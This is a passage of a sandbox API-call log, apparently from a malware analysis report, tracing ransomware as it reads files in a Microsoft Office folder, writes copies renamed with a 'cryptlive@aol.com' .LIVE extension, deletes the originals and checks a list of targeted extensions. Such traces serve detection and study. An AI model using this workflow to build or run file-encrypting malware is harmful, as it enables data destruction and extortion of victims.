Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.051] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.051] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0146.051] GetLastError () returned 0x0 [0146.051] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x2d80, lpOverlapped=0x0) returned 1 [0146.053] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0146.054] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.054] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0146.054] SetEndOfFile (hFile=0x3a0) returned 1 [0146.054] CloseHandle (hObject=0x3a0) returned 1 [0146.054] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.055] SetEndOfFile (hFile=0x3dc) returned 1 [0146.057] CloseHandle (hObject=0x3dc) returned 1 [0146.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 1 [0146.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.058] lstrlenW (lpString=".doc") returned 4 [0146.058] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0146.058] lstrlenW (lpString=".docx") returned 5 [0146.058] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0146.058] lstrlenW (lpString=".pdf") returned 4 [0146.058] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0146.058] lstrlenW (lpString=".xls") returned 4 [0146.058] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0146.058] lstrlenW (lpString=".xlsx") returned 5 [0146.058] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0146.058] lstrlenW (lpString=".ppt") returned 4 [0146.059] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.059] lstrlenW (lpString=".zip") returned 4 [0146.059] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString=".rar") returned 4 [0146.059] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString=".bz2") returned 4 [0146.059] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString=".7z") returned 3 [0146.059] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.059] lstrlenW (lpString=".dbf") returned 4 [0146.059] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.059] lstrlenW (lpString=".1cd") returned 4 [0146.059] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.059] lstrlenW (lpString=".jpg") returned 4 [0146.059] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.059] lstrlenW (lpString=".doc") returned 4 [0146.059] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString=".docx") returned 5 [0146.059] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0146.059] lstrlenW (lpString=".pdf") returned 4 [0146.059] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString=".xls") returned 4 [0146.059] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString=".xlsx") returned 5 [0146.059] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0146.059] lstrlenW (lpString=".ppt") returned 4 [0146.059] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0146.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.059] lstrlenW (lpString=".zip") returned 4 [0146.060] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0146.060] lstrlenW (lpString=".rar") returned 4 [0146.060] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0146.060] lstrlenW (lpString=".bz2") returned 4 [0146.060] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0146.060] lstrlenW (lpString=".7z") returned 3 [0146.060] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.060] lstrlenW (lpString=".dbf") returned 4 [0146.060] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0146.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.060] lstrlenW (lpString=".1cd") returned 4 [0146.060] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0146.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0146.060] lstrlenW (lpString=".jpg") returned 4 [0146.060] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0146.060] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0146.060] lstrlenW (lpString="SHAPNUM.VSL") returned 11 [0146.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.061] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=42352) returned 1 [0146.061] CloseHandle (hObject=0x3dc) returned 1 [0146.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 0x20 [0146.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.061] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.061] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0146.062] GetLastError () returned 0x0 [0146.062] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xa570, lpOverlapped=0x0) returned 1 [0146.065] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xa580, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xa580, lpOverlapped=0x0) returned 1 [0146.067] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.067] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0146.067] SetEndOfFile (hFile=0x3a0) returned 1 [0146.067] CloseHandle (hObject=0x3a0) returned 1 [0146.067] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.067] SetEndOfFile (hFile=0x3dc) returned 1 [0146.070] CloseHandle (hObject=0x3dc) returned 1 [0146.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 1 [0146.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.071] lstrlenW (lpString=".doc") returned 4 [0146.071] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.071] lstrlenW (lpString=".docx") returned 5 [0146.071] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0146.071] lstrlenW (lpString=".pdf") returned 4 [0146.071] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.071] lstrlenW (lpString=".xls") returned 4 [0146.071] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.071] lstrlenW (lpString=".xlsx") returned 5 [0146.071] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0146.071] lstrlenW (lpString=".ppt") returned 4 [0146.071] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.071] lstrlenW (lpString=".zip") returned 4 [0146.071] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.071] lstrlenW (lpString=".rar") returned 4 [0146.071] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.071] lstrlenW (lpString=".bz2") returned 4 [0146.071] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.071] lstrlenW (lpString=".7z") returned 3 [0146.071] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.071] lstrlenW (lpString=".dbf") returned 4 [0146.071] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.071] lstrlenW (lpString=".1cd") returned 4 [0146.071] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.071] lstrlenW (lpString=".jpg") returned 4 [0146.071] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.072] lstrlenW (lpString=".doc") returned 4 [0146.072] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.072] lstrlenW (lpString=".docx") returned 5 [0146.072] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0146.072] lstrlenW (lpString=".pdf") returned 4 [0146.072] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.072] lstrlenW (lpString=".xls") returned 4 [0146.072] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.072] lstrlenW (lpString=".xlsx") returned 5 [0146.072] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0146.072] lstrlenW (lpString=".ppt") returned 4 [0146.072] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.072] lstrlenW (lpString=".zip") returned 4 [0146.072] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.072] lstrlenW (lpString=".rar") returned 4 [0146.072] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.072] lstrlenW (lpString=".bz2") returned 4 [0146.072] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.072] lstrlenW (lpString=".7z") returned 3 [0146.072] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.072] lstrlenW (lpString=".dbf") returned 4 [0146.072] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.072] lstrlenW (lpString=".1cd") returned 4 [0146.072] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0146.072] lstrlenW (lpString=".jpg") returned 4 [0146.072] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.072] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0146.073] lstrlenW (lpString="SLINTL.DLL") returned 10 [0146.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.196] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9088) returned 1 [0146.196] CloseHandle (hObject=0x3dc) returned 1 [0146.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll")) returned 0x20 [0146.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.324] lstrlenW (lpString=".doc") returned 4 [0146.324] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.325] lstrlenW (lpString=".docx") returned 5 [0146.325] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0146.325] lstrlenW (lpString=".pdf") returned 4 [0146.325] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.327] lstrlenW (lpString=".xls") returned 4 [0146.327] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.327] lstrlenW (lpString=".xlsx") returned 5 [0146.327] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0146.327] lstrlenW (lpString=".ppt") returned 4 [0146.327] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.328] lstrlenW (lpString=".zip") returned 4 [0146.328] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.328] lstrlenW (lpString=".rar") returned 4 [0146.328] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.329] lstrlenW (lpString=".bz2") returned 4 [0146.329] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.329] lstrlenW (lpString=".7z") returned 3 [0146.329] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.329] lstrlenW (lpString=".dbf") returned 4 [0146.329] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.329] lstrlenW (lpString=".1cd") returned 4 [0146.329] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.330] lstrlenW (lpString=".jpg") returned 4 [0146.330] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.330] lstrlenW (lpString=".doc") returned 4 [0146.330] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.349] lstrlenW (lpString=".docx") returned 5 [0146.349] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0146.350] lstrlenW (lpString=".pdf") returned 4 [0146.350] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.350] lstrlenW (lpString=".xls") returned 4 [0146.350] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.350] lstrlenW (lpString=".xlsx") returned 5 [0146.350] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0146.350] lstrlenW (lpString=".ppt") returned 4 [0146.350] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.350] lstrlenW (lpString=".zip") returned 4 [0146.350] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.350] lstrlenW (lpString=".rar") returned 4 [0146.351] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.352] lstrlenW (lpString=".bz2") returned 4 [0146.352] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.352] lstrlenW (lpString=".7z") returned 3 [0146.352] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.352] lstrlenW (lpString=".dbf") returned 4 [0146.352] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.352] lstrlenW (lpString=".1cd") returned 4 [0146.352] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0146.352] lstrlenW (lpString=".jpg") returned 4 [0146.352] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.352] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0146.352] lstrlenW (lpString="UmOutlookStrings.dll") returned 20 [0146.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.353] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=61312) returned 1 [0146.353] CloseHandle (hObject=0x3b4) returned 1 [0146.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll")) returned 0x20 [0146.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.354] lstrlenW (lpString=".doc") returned 4 [0146.354] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0146.354] lstrlenW (lpString=".docx") returned 5 [0146.354] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0146.354] lstrlenW (lpString=".pdf") returned 4 [0146.354] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0146.354] lstrlenW (lpString=".xls") returned 4 [0146.354] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0146.354] lstrlenW (lpString=".xlsx") returned 5 [0146.354] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0146.354] lstrlenW (lpString=".ppt") returned 4 [0146.354] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0146.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.354] lstrlenW (lpString=".zip") returned 4 [0146.354] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0146.354] lstrlenW (lpString=".rar") returned 4 [0146.354] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0146.354] lstrlenW (lpString=".bz2") returned 4 [0146.354] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0146.354] lstrlenW (lpString=".7z") returned 3 [0146.354] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0146.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.354] lstrlenW (lpString=".dbf") returned 4 [0146.354] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0146.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.355] lstrlenW (lpString=".1cd") returned 4 [0146.355] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0146.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.355] lstrlenW (lpString=".jpg") returned 4 [0146.355] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0146.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0146.355] lstrlenW (lpString=".doc") returned 4 [0146.355] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0146.355] lstrlenW (lpString=".docx") returned 5 [0146.355] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0146.355] lstrlenW (lpString=".pdf") returned 4 [0146.355] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0146.355] lstrlenW (lpString=".xls") returned 4 [0146.355] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0146.355] lstrlenW (lpString=".xlsx") returned 5 [0146.355] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0146.355] lstrlenW (lpString=".ppt") returned 4 [0146.355] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0146.355] lstrlenW (lpString="C:\\Program Files\\Microsoft 